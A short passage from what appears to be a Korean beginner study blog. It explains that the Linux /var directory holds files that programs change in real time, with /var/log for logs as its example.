프로그램이나 시스템이 실시간으로 가변적인 파일을 사용하고 저장해야 할 때 활용하는 디렉토리입니다. 예를 들어 /var/log에는 다양한 로그 파일이 저장됩니다.

'공부 > 비기너즈' 카테고리의 다른 글

DH101(2)  (0) 2024.01.15
3. Environment Setup  (0) 2023.12.29
2. How to use  (0) 2023.12.28
1. Introduction  (2) 2023.12.27

댓글